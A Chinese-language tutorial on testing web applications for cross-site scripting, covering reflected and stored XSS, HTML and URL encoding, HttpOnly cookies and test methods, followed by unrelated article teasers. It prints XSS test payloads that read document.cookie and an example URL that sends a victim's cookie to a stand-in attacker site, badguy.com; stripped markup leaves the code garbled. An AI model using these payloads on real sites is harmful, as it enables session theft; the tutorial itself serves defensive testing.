Web安全测试之XSS

发布时间:2026/8/27 9:55:48

Web安全测试之XSS
假如有下面一个textboxinput typetext nameaddress1 valuevalue1fromvalue1from是来自用户的输入如果用户不是输入value1from,而是输入 /scriptalert(document.cookie)/script!- 那么就会变成input typetext nameaddress1 value/scriptalert(document.cookie)/script!- 嵌入的JavaScript代码将会被执行或者用户输入的是 onfocusalert(document.cookie) 那么就会变成input typetext nameaddress1 value onfocusalert(document.cookie)事件被触发的时候嵌入的JavaScript代码将会被执行攻击的威力取决于用户输入了什么样的脚本当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图HTML EncodeXSS之所以会发生 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的中括号 “单引号”“引号” 之类的特殊字符进行编码。在C#中已经提供了现成的方法只要调用HttpUtility.HtmlEncode(string scritp) 就可以了。 需要引用System.Web程序集Fiddler中也提供了很方便的工具, 点击Toolbar上的TextWizard 按钮XSS 攻击场景1. Dom-Based XSS 漏洞 攻击过程如下Tom 发现了Victim.com中的一个页面有XSS漏洞例如: http://victim.com/search.asp?termapple服务器中Search.asp 页面的代码大概如下html title/title body Results for %Reequest.QueryString(term)% ... /body /htmlTom 先建立一个网站http://badguy.com, 用来接收“偷”来的信息。然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件QQ)发给Monicahttp://victim.com/search.asp?termscriptwindow.open(http://badguy.com?cookiedocument.cookie)/scriptMonica点击了这个URL 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞攻击者将攻击脚本上传到Web服务器上使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下Alex发现了网站A上有一个XSS 漏洞该漏洞允许将攻击代码保存在数据库中Alex发布了一篇文章文章中嵌入了恶意JavaScript代码。其他人如Monica访问这片文章的时候嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行其会话cookie或者其他信息将被Alex盗走。Dom-Based XSS漏洞威胁用户个体而存储式XSS漏洞所威胁的对象将是大量的用户.XSS 漏洞修复原则 不相信客户输入的数据注意: 攻击代码不一定在script/script中将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.只允许用户输入我们期望的数据。 例如 年龄的textbox中只允许用户输入数字。 而数字之外的字符都过滤掉。对数据进行Html Encode 处理过滤或移除特殊的Html标签 例如: script, iframe , lt; for , gt; for , quot for过滤JavaScript 事件的标签。例如 onclick, onfocus 等等。如何测试XSS漏洞方法一 查看代码查找关键的变量, 客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单以及cookie. 例如在ASP的程序中通过Request对象获取客户端的变量% strUserCode Request.QueryString(“code”); strUser Request.Form(“USER”); strID Request.Cookies(“ID”); %假如变量没有经过htmlEncode处理 那么这个变量就存在一个XSS漏洞方法二 准备测试脚本/scriptalert(document.cookie)/script!-- scriptalert(document.cookie)/script!-- onclickalert(document.cookie)在网页中的Textbox或者其他能输入数据的地方输入这些测试脚本 看能不能弹出对话框能弹出的话说明存在XSS漏洞在URL中查看有那些变量通过URL把值传给Web服务器 把这些变量的值退换成我们的测试的脚本。 然后看我们的脚本是否能执行方法三: 自动化测试XSS漏洞现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中我们的XSS测试脚本是否已经注入进去了。HTML Encode 和URL Encode的区别刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。HTML编码前面已经介绍过了关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。例如在baidu中搜索测试汉字。 URL会变成http://www.baidu.com/s?wd%B2%E2%CA%D4%BA%BA%D7%D6rsv_bp0rsv_spt3inputT7477所谓URL编码就是 把所有非字母数字字符都将被替换成百分号%后跟两位十六进制数空格则编码为加号在C#中已经提供了现成的方法只要调用HttpUtility.UrlEncode(string scritp) 就可以了。 需要引用System.Web程序集Fiddler中也提供了很方便的工具, 点击Toolbar上的TextWizard 按钮浏览器中的XSS过滤器为了防止发生XSS 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8IE9Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图如果需要做测试 最好使用IE7。ASP.NET中的XSS安全机制ASP.NET中有防范XSS的机制对提交的表单会自动检查是否存在XSS当用户试图输入XSS代码的时候ASP.NET会抛出一个错误如下图

相关新闻

LTC6903与PIC18F45K40实现可编程时钟系统设计

LTC6903与PIC18F45K40实现可编程时钟系统设计

2026/8/22 5:06:09

1. 项目背景与核心器件选型 在嵌入式系统设计中,精确的时钟信号生成是许多应用的基础需求。传统方案通常采用固定频率晶体振荡器或压控振荡器(VCXO),但这些方案存在灵活性不足或控制复杂度高的问题。LTC6903这款数字控制振荡器(DCO)与PIC18F45K40微控制器…

M1/M2/M3 Mac部署Selenium自动化环境:ARM架构兼容性实战指南

M1/M2/M3 Mac部署Selenium自动化环境:ARM架构兼容性实战指南

2026/8/22 6:12:55

1. 项目概述与核心挑战最近几年,身边用MacBook M1/M2/M3系列的朋友越来越多,大家从开发到自动化测试,都开始往苹果的ARM架构生态迁移。我自己也是从Intel Mac换到M1 Pro,在搭建Python自动化测试环境,特别是SeleniumChr…

毕业论文AI检测率高的应对策略与修改技巧

毕业论文AI检测率高的应对策略与修改技巧

2026/8/25 22:39:35

1. 毕业论文AI检测率90%的应对策略当看到毕业论文AI检测率高达90%时,很多同学的第一反应是惊慌失措。作为一名经历过多次论文指导的学术工作者,我完全理解这种心情。但请记住,恐慌解决不了任何问题,冷静分析才是关键。首先需要明确…

python零基础入门学习推荐

python零基础入门学习推荐

2026/8/27 9:47:42

零基础开展学习, 这是完全能够行得通的, 其关键之处在于要掌握正确的学习方法以及选择恰当的资源。好课优选为你整理出了一份从零基础起始的学习指南, 该指南主要划分成学习路径与优质资源推荐这两个部分。零基础学习路径建议向刚开始学习的人而言, 别在初始阶段就去追寻那种涵…

无需改造现有产线,合米科技 AI SOP 视觉防错系统,快速落地拉高产线良率。

无需改造现有产线,合米科技 AI SOP 视觉防错系统,快速落地拉高产线良率。

2026/8/27 9:47:42

摘要传统产线 SOP 执行难,人工管控易产生质量隐患。深圳合米科技 AI SOP 视觉防错系统,仅加装摄像头调试即可部署,无需大规模改造产线。AI 实时校验作业动作,异常即时告警,留存追溯数据,提升产线良率&#…

具身智能开放策略之Octo详解:开放策略如何把多机器人经验变成可微调的通用底座

具身智能开放策略之Octo详解:开放策略如何把多机器人经验变成可微调的通用底座

2026/8/27 9:47:42

写在前面 【从零走向AGI】旨在深入了解通用人工智能(AGI)的发展路径,从最基础的概念起,逐步构建完整的知识体系。 项目地址🔗:https://github.com/AI-mzq/From-Zero-to-AGI.git 魔方AI空间 猫先生 从零走向…

Python SQLAlchemy 与数据库操作讲解

Python SQLAlchemy 与数据库操作讲解

2026/8/27 9:47:42

文章目录一、核心概念二、安装三、快速开始(SQLAlchemy 2.0 风格)1. 创建引擎与基类2. 定义模型3. 创建表四、最常用的 CRUD 操作1. 增加(Create)2. 查询(Read)3. 更新(Update)4. 删…

Java大厂面试实录:Spring Boot + Kafka + Redis + Spring Security + RAG 的三轮攻防

Java大厂面试实录:Spring Boot + Kafka + Redis + Spring Security + RAG 的三轮攻防

2026/8/27 9:47:41

Java大厂面试实录:Spring Boot Kafka Redis Spring Security RAG 的三轮攻防场景:某互联网大厂 Java 岗位面试现场。面试官表情严肃,候选人燕双非一脸轻松,主打一个“我可能不全会,但我会努力胡说八道”。第一轮&a…

跨境ETF套利策略设计:从理论价差到实战风控

跨境ETF套利策略设计:从理论价差到实战风控

2026/8/27 9:37:41

1. 从一道赛题到实战:跨境ETF套利策略的深度拆解 最近翻看去年的一些数学建模竞赛题目,发现“2023大湾区杯”的A题“跨境ETF套利策略设计”很有意思。这道题没有像很多传统题目那样给出海量的历史数据让你去拟合,而是直接抛出了一个非常贴近真…

[光学原理与应用-521]:对光的错误理解与纠偏

[光学原理与应用-521]:对光的错误理解与纠偏

2026/8/26 1:50:39

首先光是一种能量的载体和形态,宏观上观察到的光是由无数个微观的光量子组成的,每个光子在产生的瞬间,其在真空的空间中以确定不变的速度沿着一个初始的方向一直向前,在微观层面,每个光量子的运动轨迹是以波函数所展现…

SIP通话转接原理与REFER方法实战解析

SIP通话转接原理与REFER方法实战解析

2026/8/27 7:25:23

1. 通话转接不是“挂断再拨号”,而是SIP会话的动态重定向你有没有遇到过这样的场景:客服坐席A正在和客户通电话,突然需要把这通对话无缝转给专家坐席B,客户完全感知不到中间的断连——既没听到忙音,也没被要求重新拨号…

Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

2026/8/26 17:50:58

1. 为什么选择Kolla-ansible来部署单节点OpenStack?如果你正在寻找一种能把OpenStack从“概念”快速变成“可用的实验环境”的方法,那么Kolla-ansible几乎是当前最主流、最省心的选择。我见过太多人卡在手动编译依赖、配置服务、处理版本冲突的泥潭里&am…

Go语言构建企业级AI服务网关:统一管理英伟达等AI接口调用

Go语言构建企业级AI服务网关:统一管理英伟达等AI接口调用

2026/8/27 0:07:12

1. 项目概述:从零构建一个企业级的AI服务网关 最近在帮一个做内容审核的团队做技术架构升级,他们原来的业务里,每天有几十万张图片和短视频需要过审,最初是接了几个开源的AI模型自己部署,但效果和性能一直不太稳定。后…

LeetCode Hot100(51-60)算法精解与面试技巧

LeetCode Hot100(51-60)算法精解与面试技巧

2026/8/27 0:07:12

1. 题目背景与核心价值"hot100(51-60)"这个标题看起来像是某个编程题库或算法练习集中的一组题目编号。在技术社区中,类似命名通常指向LeetCode、牛客网等平台的热门题目集合。作为刷过300题的算法老手,我理解这类题目的核心价值在于&#xff…

CRC校验实战:从模2除法到HJ212协议排错

CRC校验实战:从模2除法到HJ212协议排错

2026/8/27 0:07:12

1. 为什么一个“校验码”能扛住工业现场90%的数据 corruption? 你有没有遇到过这样的场景:嵌入式设备通过RS-485上传温湿度数据,上位机偶尔收到一帧乱码——温度显示成-273℃,湿度跳到999%,但串口波形看起来完全正常&a…

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

2026/8/22 2:02:26

一天写完毕业论文在2026年已不再是天方夜谭。2026年最炸裂、实测能大幅提速的AI论文写作工具,覆盖选题构思、文献整理、内容生成、格式排版等核心场景,真正帮你高效搞定论文难题。 一、全流程王者:一站式搞定论文全链路(一天定稿首…

导师推荐!2026最新AI论文工具测评与实用推荐

导师推荐!2026最新AI论文工具测评与实用推荐

2026/8/26 18:07:30

2026年真正好用的AI论文工具,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。 一、…

告别游戏崩溃:XCOM 2模组管理器的智能革命

告别游戏崩溃:XCOM 2模组管理器的智能革命

2026/8/26 17:57:52

告别游戏崩溃:XCOM 2模组管理器的智能革命 【免费下载链接】xcom2-launcher The Alternative Mod Launcher (AML) is a replacement for the default game launchers from XCOM 2 and XCOM Chimera Squad. 项目地址: https://gitcode.com/gh_mirrors/xc/xcom2-lau…